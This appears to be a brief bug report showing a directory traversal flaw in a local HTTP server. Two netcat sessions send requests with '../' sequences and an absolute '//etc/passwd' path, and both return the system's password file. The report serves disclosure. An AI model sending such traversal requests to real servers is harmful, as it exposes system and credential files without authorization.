It is possible to request parent directories.
cotix@lithium:~$ nc localhost 9999
GET /../../../../../etc/passwd HTTP/1.0
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2333
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash
... my whole /etc/passwd
It is also possible to query absolute paths:
cotix@lithium:~$ nc localhost 9999
GET //etc/passwd HTTP/1.0
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2333
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash